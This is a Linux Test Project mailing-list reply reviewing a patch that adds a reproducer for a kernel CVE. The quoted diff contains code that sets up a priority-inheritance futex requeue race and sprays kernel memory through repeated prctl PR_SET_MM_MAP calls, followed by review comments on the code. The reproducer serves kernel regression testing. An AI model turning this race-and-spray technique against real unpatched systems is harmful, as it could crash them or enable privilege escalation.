Re: [LTP] [PATCH v3 2/2] cve: add CVE-2026-43499 reproducer

[Andrea Cervesato via ltp <ltp@lists.linux.it>]

Hi Petr,

> 
> tst_test.c:2047: TINFO: LTP version: 20260529-202-ga91c5b6036
> tst_test.c:2050: TINFO: Tested kernel: 7.2.0-rc6-3.g1b28f10-default #1 SMP PREEMPT_DYNAMIC Thu Aug  6 23:49:19 UTC 2026 (1b28f10) x86_64
> tst_kconfig.c:90: TINFO: Parsing kernel config '/proc/config.gz'
> tst_kconfig.c:756: TINFO: CONFIG_FAULT_INJECTION kernel option detected which might slow the execution
> tst_test.c:1875: TINFO: Overall timeout per run is 0h 05m 00s
> ghostlock.c:191: TINFO: Triggering PI deadlock and stack spray
> Test timeouted, sending SIGKILL!
> tst_test.c:1947: TINFO: If you are running on slow machine, try exporting LTP_TIMEOUT_MUL > 1
> tst_test.c:1949: TBROK: Test killed! (timeout?)

did you try with LTP_TIMEOUT_MUL > 1? It's possible that CVE is simply
not triggered.

> 
> > +static int futex_wait_requeue_pi(uint32_t *uaddr, uint32_t *uaddr2,
> > +				 struct timespec *ts)
> > +{
> > +	return tst_syscall(__NR_futex, uaddr, FUTEX_WAIT_REQUEUE_PI, 0, ts,
> > +			   uaddr2, 0);
> > +}
> > +
> > +static int futex_cmp_requeue_pi(uint32_t *uaddr, uint32_t *uaddr2)
> > +{
> > +	return tst_syscall(__NR_futex, uaddr, FUTEX_CMP_REQUEUE_PI, 1, 1,
> > +			   uaddr2, 0);
> > +}
> > +
> > +static int futex_lock_pi(uint32_t *uaddr)
> > +{
> > +	return tst_syscall(__NR_futex, uaddr, FUTEX_LOCK_PI, 0, 0, 0, 0);
> > +}
> > +
> > +static int futex_unlock_pi(uint32_t *uaddr)
> > +{
> > +	return tst_syscall(__NR_futex, uaddr, FUTEX_UNLOCK_PI, 0, 0, 0, 0);
> > +}
> nit: we already have sys_futex() in include/tst_timer.h, maybe using it?

isn't it exactly the same?

> 
> > +
> > +static void *waiter_fn(void *arg LTP_ATTRIBUTE_UNUSED)
> > +{
> > +	struct timespec ts;
> > +	struct prctl_mm_map mm_map = {
> > +		.start_code  = (uint64_t)(uintptr_t)&waiter_fn,
> > +		.end_code    = (uint64_t)(uintptr_t)&waiter_fn + 0x1000,
> > +		.start_data  = (uint64_t)(uintptr_t)auxv & ~0xfffUL,
> > +		.end_data    = ((uint64_t)(uintptr_t)auxv & ~0xfffUL) + 0x1000,
> > +		.start_brk   = (uint64_t)(uintptr_t)sbrk(0),
> > +		.brk         = (uint64_t)(uintptr_t)sbrk(0),
> > +		.start_stack = (uint64_t)(uintptr_t)&mm_map,
> > +		.arg_start   = (uint64_t)(uintptr_t)&mm_map,
> > +		.arg_end     = (uint64_t)(uintptr_t)&mm_map,
> > +		.env_start   = (uint64_t)(uintptr_t)&mm_map,
> > +		.env_end     = (uint64_t)(uintptr_t)&mm_map,
> > +		.auxv        = (void *)auxv,
> > +		.auxv_size   = valid_auxv_size,
> > +		.exe_fd      = (uint32_t)-1,
> > +	};
> 
> nice magic :).
> > +
> > +	waiter_tid = tst_syscall(__NR_gettid);
> > +
> > +	futex_lock_pi(&f_pi_chain);
> > +
> > +	TST_CHECKPOINT_WAKE2(CP_CHAIN_HELD, 2);
> > +	TST_CHECKPOINT_WAIT(CP_OWNER_BLOCKED);
> > +
> > +	SAFE_CLOCK_GETTIME(CLOCK_MONOTONIC, &ts);
> > +	ts = tst_timespec_add(ts, (struct timespec){ .tv_sec = 10, .tv_nsec = 0 });
> > +	futex_wait_requeue_pi(&f_wait, &f_pi_target, &ts);
> > +
> > +	TST_CHECKPOINT_WAKE(CP_SPRAYED);
> > +
> > +	while (!tst_atomic_load(&stop_spray)) {
> > +		prctl(PR_SET_MM, PR_SET_MM_MAP, (unsigned long)&mm_map,
> > +		      sizeof(mm_map), 0);
> 
> Maybe SAFE_PRCTL() ?

I also thought about it, but that's the syscall that poison the buffer
and we don't care if it fails. Actually, if it fails during SAFE_PRCTL(),
the test will break and we can't reproduce the bug, so it's ok to leave
it raw.

> > +	}
> > +
> > +	TST_CHECKPOINT_WAIT(CP_SETATTR_DONE);
> > +
> > +	futex_unlock_pi(&f_pi_chain);
> > +
> > +	return NULL;
> > +}
> > +
> > +static void *owner_fn(void *arg LTP_ATTRIBUTE_UNUSED)
> > +{
> > +	owner_tid = tst_syscall(__NR_gettid);
> > +
> > +	TST_CHECKPOINT_WAIT(CP_CHAIN_HELD);
> > +
> > +	futex_lock_pi(&f_pi_target);
> > +	TST_CHECKPOINT_WAKE(CP_TARGET_HELD);
> > +
> > +	futex_lock_pi(&f_pi_chain);
> > +
> > +	futex_unlock_pi(&f_pi_chain);
> > +	futex_unlock_pi(&f_pi_target);
> > +
> > +	return NULL;
> > +}
> > +
> > +static void setup(void)
> > +{
> > +	static const int try_sizes[] = {
> very nit: why static?

I can even move it wit hthe other static variables.

> 
> > +		MAX_AUXV_WORDS,
> > +		MAX_AUXV_WORDS - 4,
> > +		MAX_AUXV_WORDS - 8
> I wonder why these other 2?

according to the kernel version, we might have different words sizes.
Especially for older kernels, MAX_AUXV_WORDS is rejected and we might
need a smaller value.

> 
> Code LGTM, but I'd like to have at least brief look at the original reproducers.
> 
> Kind regards,
> Petr

--
Andrea Cervesato
SUSE QE Automation Engineer Linux
andrea.cervesato@suse.com

-- 
Mailing list info: https://lists.linux.it/listinfo/ltp